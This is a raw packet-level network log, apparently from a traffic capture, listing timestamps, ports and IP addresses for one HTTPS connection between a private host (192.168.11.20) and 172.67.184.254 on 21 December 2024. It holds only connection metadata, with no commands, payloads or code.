Dec 21, 2024 19:24:51.039043903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039093018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039159060 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.039191961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039191961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039191961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039241076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039241076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039288998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039338112 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039386988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039386988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039485931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039485931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039534092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039534092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039582968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039637089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039637089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039637089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039731026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039731026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039731979 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.039839029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039839029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039887905 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039889097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039937019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039937019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.039985895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040085077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040085077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040085077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040182114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040182114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040230989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040230989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040280104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040281057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040328979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040431023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040431023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040431023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040524960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040524960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040575027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040575027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040623903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040623903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040672064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040723085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040750980 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.040788889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040788889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040843010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040843010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040888071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040936947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040987015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040987015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.040987015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041084051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041084051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041182995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041182995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041230917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041281939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041281939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041281939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041328907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041378021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041426897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041428089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041526079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041526079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041574955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041574955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041623116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.041676044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.085491896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.298243046 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.298547983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.571887970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.571906090 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.571914911 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.571918964 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.572288036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572303057 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.572463036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572484970 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.572525024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572525024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572546005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572546005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572655916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572655916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572664976 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.572671890 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.572741032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572741032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572788954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572788954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572838068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572838068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572844982 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.572854996 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.572890043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572890043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572985888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.572985888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573030949 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.573035955 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.573091030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573091030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573139906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573139906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573189020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573189020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573237896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573237896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573335886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573335886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573414087 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.573420048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.573421001 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.573424101 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.573426008 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.573434114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573434114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573482990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573482990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573532104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573532104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573579073 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.573580980 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573678970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573678970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573728085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573776960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573776960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573801041 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.573826075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573826075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573874950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573874950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573924065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.573924065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574023008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574023008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574073076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574073076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574079990 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.574120045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574120045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574168921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574168921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574218035 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574218035 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574266911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574364901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574364901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574364901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574367046 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.574462891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574462891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574462891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574512005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574561119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574561119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574561119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574609995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574707985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574707985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574707985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574805975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574805975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574855089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574855089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574903965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574949026 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.574953079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.574953079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575051069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575051069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575099945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575100899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575149059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575149059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575197935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575197935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575247049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575247049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575295925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575295925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575393915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575393915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575491905 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575491905 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575534105 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.575536013 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.575541973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575541973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575541973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575541973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575547934 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.575591087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575591087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575596094 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.575639009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575737000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575737000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575834990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575834990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575834990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575834990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575933933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575933933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575933933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.575982094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576081991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576081991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576105118 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.576128960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576128960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576226950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576226950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576226950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576235056 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.576276064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576276064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576324940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576422930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576422930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576520920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576520920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576570034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576570034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576618910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576618910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576618910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576618910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576731920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576731920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576736927 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.576780081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576878071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576878071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576927900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576927900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576927900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.576976061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577024937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577024937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577122927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577122927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577220917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577220917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577271938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577271938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577318907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577318907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577368021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577368021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577466011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577466011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577564001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577564001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577613115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577613115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577613115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577661991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577711105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577711105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577809095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577809095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577815056 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.577907085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577907085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577955961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.577955961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.578005075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.578005075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.578053951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.578053951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.578151941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.578151941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.578253031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.578253031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.578299999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.578299999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.578351021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.578351021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.578397036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.790317059 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.790642977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.836699963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.836719036 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.836731911 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.836735964 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.836922884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.836922884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.836942911 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.836951971 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.836963892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.836971045 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.837035894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837035894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837055922 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.837074995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837074995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837074995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837085009 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.837171078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837191105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837192059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837201118 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.837289095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837289095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837337971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837337971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837338924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837387085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837435961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837435961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837444067 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.837485075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837485075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837583065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837583065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837583065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837685108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837685108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837716103 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.837733984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837733984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837783098 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837831974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837831974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837929964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837930918 CET	49766	443	192.168.11.20	172.67.184.254
